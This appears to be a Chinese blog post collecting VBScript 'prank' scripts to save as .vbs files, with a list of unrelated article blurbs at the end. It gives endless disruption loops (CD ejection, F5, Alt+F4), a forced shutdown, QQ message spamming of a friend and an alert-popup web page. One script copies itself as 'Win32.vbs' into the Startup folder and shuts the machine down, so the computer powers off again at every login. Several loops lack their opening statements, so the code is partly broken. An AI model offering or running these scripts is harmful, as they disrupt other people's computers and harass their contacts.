几个简单实用的vbs命令

vbs简单设置命令集

新建文本文件，填入代码，将文本后缀改为 .vbs 即可执行！

无限弹出光驱：

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

cd.eject

loop

------------------------------------------------

无尽语音报数：

无限语音从1数到无限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

s.speak i

i=i+1

loop

------------------------------------------------

无尽刷新：

慎用，如此刷新打开任务管理器都难，只能拔掉电源。

------------------------------------------------

set ws=createobject("wscript.shell")

ws.sendkeys "{f5}"

loop

------------------------------------------------

修改注册表：

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------

QQ信息骚扰恶搞：

打开好友的聊天对话框，然后记下聊天对话框的名称（如图：小敏），把下面代码里的小敏替换一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("小敏")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

wscript.quit

直接关机：

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

------------------------------------------------

不断按下alt+f4 ：

打开任何程序都关掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

与网页结合

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('为什么把鼠标放到这里?');
alert('我不是说过不可以这样吗？');
alert('你把我的话当什么了？');
alert('你知道错了吗？');
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么？你已经没力气了？');
alert('你一直在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a>

嘻试吧爽噢。。

</body>
</html>

VBS打开网址

SetobjShell = CreateObject("Wscript.Shell")

objShell.Run("http://www.baidu.com/")

几个简单实用的vbs命令相关推荐

简单实用的Windows命令（一）
前几天新买了一台笔记本电脑,使用了一下几个简单的查看电脑配置的命令,觉得非常的不错,在此记录一下一:运行命令的方式有两种 1:使用快捷键WIN+R,然后在弹出的"运行"对话框中输 ...
计算机自爆命令,《我的世界》僵尸自爆指令一览简单实用！
原标题:<我的世界>僵尸自爆指令一览简单实用! 在<我的世界>游戏中,僵尸是非常烦人的怪物,其实要对付它们也很简单,就是让僵尸自爆,那么各位玩家知道自爆指令是什么吗?如果你还 ...
逼格高又实用的 Linux 命令，运维同仁一定要懂
前言在运维的坑里摸爬滚打好几年了,我还记得我刚开始的时候,我只会使用一些简单的命令,写脚本的时候,也是要多简单有多简单,所以有时候写出来的脚本又长又臭,像一些高级点的命令,比如说 Xargs 命令. ...
sql 拼接int类型的字段_一套简单实用的SQL脚本（下篇）
点击上方SQL数据库开发,关注获取SQL视频教程 SQL专栏 SQL数据库基础知识汇总 SQL数据库高级知识汇总之前已经分享了一部分内容<一套简单实用的SQL脚本(上篇)>接上一章我们继 ...
php注入类,简单实用的PHP防注入类实例
这篇文章主要介绍了简单实用的PHP防注入类实例,以两个简单的防注入类为例介绍了PHP防注入的原理与技巧,对网站安全建设来说非常具有实用价值,需要的朋友可以参考下本文实例讲述了简单实用的PHP防注入类 ...
[实用]DNS解析命令，静静地学会【转载】
[实用]DNS解析命令,静静地学会 2016-08-04 06:50 一.Windows下的nslookup 简单的查某个域名,那就nslookup toutiao.com,上面是dns地址,下面是解 ...
强大实用的DISM命令
今天师弟大秀他的搞机技能, 还是很厉害的线程核数模块式结构等等他远程将服务器系统从标准版升级到企业版用到了dism命令,稍微了解了一下原文地址 http://bbs.itho ...
php注入类,简单实用的PHP防注入类实例_PHP
本文实例讲述了简单实用的PHP防注入类.分享给大家供大家参考.具体如下: PHP防注入注意要过滤的信息基本是get,post,然后对于sql就是我们常用的查询,插入等等sql命令了,下面我给各位整理两 ...
linux中shell命令行缩进,Linux下几个实用的bash命令 | 旺旺知识库
一.扩展字段匹配首先我们来看一个叫做扩展字段匹配的功能.这个选项允许你执行比标准Bash所提供的更复杂的字段匹配.例如,你可以定位除了后缀为.tmp之外的所有文件.扩展字段匹配功能可以通过shopt ...

几个简单实用的vbs命令

几个简单实用的vbs命令相关推荐

最新文章

热门文章